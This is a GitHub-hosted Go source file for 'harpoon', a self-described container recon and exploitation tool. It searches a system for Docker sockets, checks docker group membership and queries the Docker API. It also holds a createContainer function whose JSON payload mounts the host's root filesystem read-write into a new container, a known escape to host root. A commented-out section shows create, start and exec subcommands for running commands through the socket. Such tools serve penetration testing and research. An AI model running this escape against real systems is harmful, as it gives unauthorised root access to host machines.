forked from ProfessionallyEvil/harpoon
-
Notifications
You must be signed in to change notification settings - Fork 0
/
harpoon.go
349 lines (325 loc) · 10.1 KB
/
harpoon.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
package main
import (
"bytes"
"context"
//"encoding/json"
"fmt"
"github.com/urfave/cli"
"io/ioutil"
"log"
"net"
"net/http"
"os"
"os/exec"
"strings"
)
type dockerInfo struct {
hasDocker bool
dockerSockPath []string
dockerApiVer string
dockerVer string
dockerUserGroup bool
}
func querySocket(socketPath string, method string, path string, payload string) string {
//var message string = method + " " + path + " HTTP/1.1\n\r" + "Host:\n\r" + "\n\r"
httpc := http.Client{
Transport: &http.Transport{
DialContext: func(_ context.Context, _, _ string) (net.Conn, error) {
return net.Dial("unix", socketPath)
},
},
}
var response *http.Response
var err error
switch method {
case "GET":
response, err = httpc.Get("http://unix" + path)
if err != nil {
panic(err)
}
case "POST":
response, err = httpc.Post("http://unix"+path, "application/json", strings.NewReader(payload))
if err != nil {
panic(err)
}
}
defer response.Body.Close()
body, err := ioutil.ReadAll(response.Body)
if err != nil {
panic(err)
}
//response, err = httpc.Post("http://unix"+flag.Args()[1], "application/octet-stream", strings.NewReader(*post))
return string(body)
}
func (di dockerInfo) toString() string {
var sb strings.Builder
//sb.WriteString(fmt.Sprintf("\thas_docker: %v\n", di.hasDocker))
sb.WriteString(fmt.Sprintf("\tsocket_paths: %v\n", di.dockerSockPath))
sb.WriteString(fmt.Sprintf("\tdocker_ver_info: %v\n", di.dockerApiVer))
sb.WriteString(fmt.Sprintf("\tin_docker_group: %v\n", di.dockerUserGroup))
return sb.String()
}
func (di dockerInfo) findDockerSocket() []string {
stdout, _ := execCmd("find / -name docker.sock")
socks := make([]string, 1)
for _, e := range strings.Split(stdout.String(), "\n") {
if e != "" {
socks = append(socks, e)
}
}
return socks
}
func (di dockerInfo) isDockerUser() bool {
stdout, _ := execCmd("groups")
return strings.Contains(stdout.String(), "docker")
}
func (di dockerInfo) findDockerApiVer() string {
// curl -s -XGET --unix-socket /run/docker.sock http://localhost/version 2>&1
var verInfo bytes.Buffer
hasDocker, _ := execCmd("which docker")
//fmt.Println(hasDocker.String())
if hasDocker.String() != "" {
fmt.Print("[+] Found docker bin: " + hasDocker.String())
di.hasDocker = true
verInfo, _ = execCmd("docker version")
} else if di.dockerSockPath != nil {
if len(di.dockerSockPath) >= 1 {
// just take the first value
fmt.Println("[+] Docker socket: " + di.dockerSockPath[1])
var dockerSocket string = di.dockerSockPath[1]
verInfoStr := querySocket(dockerSocket, "GET", "/version", "")
return verInfoStr
}
}
return verInfo.String()
}
type kubernetesInfo struct {
}
func execCmd(cmdStr string) (bytes.Buffer, bytes.Buffer) {
cmdArr := strings.Split(cmdStr, " ")
var stdout, stderr bytes.Buffer
cmd := exec.Command(cmdArr[0], cmdArr[1:]...)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
cmd.Run()
return stdout, stderr
}
func createContainer(socketPath string, mount string) string {
var payload string = `{"Image":"ubuntu","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","ReadOnly":false,"Source":"/","Target":"/mnt"}]}`
res := querySocket(socketPath, "POST", "/containers/create", payload)
return res
}
func startContainer(socketPath string, containerId string) string {
var path string = "/containers/" + containerId + "/start"
res := querySocket(socketPath, "POST", path, "")
return res
}
func runChecks(mask uint8) {
runAll := false
if mask == 0xF0 {
runAll = true
mask = 0x80
// run all the checks
}
if mask == 0x80 {
dockerInfo := dockerInfo{}
if runAll {
//modify the mask
mask = 0x40
}
socks := dockerInfo.findDockerSocket()
if socks != nil {
dockerInfo.dockerSockPath = socks
}
dockerInfo.dockerUserGroup = dockerInfo.isDockerUser()
r := strings.NewReplacer("\n", "\n\t\t")
dockerApiInfo := dockerInfo.findDockerApiVer()
dockerInfo.dockerApiVer = fmt.Sprintf("\n\t\t%s\n", r.Replace(dockerApiInfo))
// display found info
fmt.Printf("[+] Docker info found:\n")
fmt.Printf("%s", dockerInfo.toString())
}
if mask == 0x40 {
if runAll {
mask = 0x20
}
fmt.Println("[-] Not implemented")
}
if mask == 0x20 {
if runAll {
mask = 0x10
}
fmt.Println("[-] Not implemented")
}
if mask == 0x10 {
fmt.Println("[-] Not implemented")
}
}
func main() {
var help string = `Containerization recon and exploitation tool.
, ,
~~~~~~~~~~~~~~~~~~~~~~~"o"~~~~
____________ o
_-- --_ o
/ ___ __\ o
/ _ _\ \__o
/ / | X |
/ / \ /
/ _ \ \ /
\/ \/ -.____ ____.-
`
// Utilize cli package for command line interface, rather than rolling our own messy one.
app := cli.NewApp()
app.Name = "harpoon"
app.Usage = help
// Define subcommands
app.Commands = []cli.Command{
{
Name: "fingerprint",
Aliases: []string{"fp"},
Usage: "fingerprint the system for various container tech and settings",
Flags: []cli.Flag{
cli.BoolFlag{
Name: "all, a",
Usage: "run all checks",
},
cli.BoolFlag{
Name: "docker, d",
Usage: "run only the docker checks",
},
cli.BoolFlag{
Name: "kube, k",
Usage: "run only the kubernetes checks",
},
cli.BoolFlag{
Name: "lxc, l",
Usage: "run only the lxc checks",
},
cli.BoolFlag{
Name: "discover, D",
Usage: "attempt to discover what container tech, if any, is in place",
},
},
Action: func(c *cli.Context) error {
//fmt.Println(c.Bool("all"))
var flagMask uint8 = 0x0 // 00000000
if c.Bool("all") {
// set the lower 4 bits to 1
// flagMask = flagMask & 0xF8
runChecks(0xF0)
return nil
}
if c.Bool("docker") {
// set the fist bit of the mask
flagMask = flagMask | 0x80
runChecks(flagMask)
}
if c.Bool("kube") {
// set the second bit of the mask
flagMask = flagMask | 0x40
}
if c.Bool("lxc") {
flagMask = flagMask | 0x20
}
if c.Bool("discover") {
flagMask = flagMask | 0x10
}
return nil
},
},
}
err := app.Run(os.Args)
if err != nil {
log.Fatal(err)
}
/*
// set up command line opts
findCommand := flag.NewFlagSet("fingerprint", flag.ExitOnError)
createCommand := flag.NewFlagSet("create", flag.ExitOnError)
socketFlag := createCommand.String("sock", "/run/docker.sock", "The path to the docker socket.")
mountFlag := createCommand.String("mount", "/:/mnt", "What file to from the host to mount and where to mount it.")
startCommand := flag.NewFlagSet("start", flag.ExitOnError)
containerIdStartFlag := startCommand.String("container_id", "", "The id of the container to try and execute commands in.")
execCommand := flag.NewFlagSet("exec", flag.ExitOnError)
containerIdFlag := execCommand.String("container_id", "", "The id of the container to try and execute commands in.")
commandFlag := execCommand.String("cmd", "", "The command to execute inside of the container.")
dockerInfo := dockerInfo{}
//kubernetesInfo := kubernetesInfo{}
if len(os.Args) == 1 {
fmt.Println(help)
os.Exit(1)
}
switch os.Args[1] {
case "fingerprint":
findCommand.Parse(os.Args[2:])
socks := dockerInfo.findDockerSocket()
if socks != nil {
dockerInfo.dockerSockPath = socks
}
dockerInfo.dockerUserGroup = dockerInfo.isDockerUser()
r := strings.NewReplacer("\n", "\n\t\t")
dockerApiInfo := dockerInfo.findDockerApiVer()
dockerInfo.dockerApiVer = fmt.Sprintf("\n\t\t%s\n", r.Replace(dockerApiInfo))
// display found info
fmt.Printf("[+] Docker info found:\n")
fmt.Println(dockerInfo.toString())
case "create":
createCommand.Parse(os.Args[2:])
if createCommand.Parsed() {
if *mountFlag == "" {
fmt.Println(help)
return
}
if *socketFlag == "" {
fmt.Println(help)
return
}
res := createContainer(*socketFlag, *mountFlag)
fmt.Println(res)
}
case "start":
startCommand.Parse(os.Args[2:])
if startCommand.Parsed() {
if *socketFlag == "" {
fmt.Println(help)
return
}
if *containerIdStartFlag == "" {
fmt.Println(help)
}
res := startContainer(*socketFlag, *containerIdStartFlag)
fmt.Println(res)
}
case "exec":
execCommand.Parse(os.Args[2:])
if execCommand.Parsed() {
if *socketFlag == "" {
fmt.Println(help)
return
}
if *containerIdFlag == "" {
fmt.Println(help)
return
}
if *commandFlag == "" {
fmt.Println(help)
return
}
// set up an exec
cmdStr := strings.Trim(strings.Join(strings.Fields(fmt.Sprintf(*commandFlag)), "\",\""), "[]")
payload := `{"AttachStdin": false,"AttachStdout": true,"AttachStderr": true,"DetachKeys": "ctrl-p,ctrl-q","Tty": false,"Cmd":["` + cmdStr + `"]}`
res := querySocket(*socketFlag, "POST", "/containers/"+*containerIdFlag+"/exec", payload)
fmt.Println(res)
byt := []byte(res)
var dat map[string]interface{}
if err := json.Unmarshal(byt, &dat); err != nil {
panic(err)
}
fmt.Println(dat["Id"])
payload = `{"Detach": false, "Tty": false}`
res = querySocket(*socketFlag, "POST", "/exec/"+dat["Id"].(string)+"/start", payload)
fmt.Println(res)
}
}
*/
}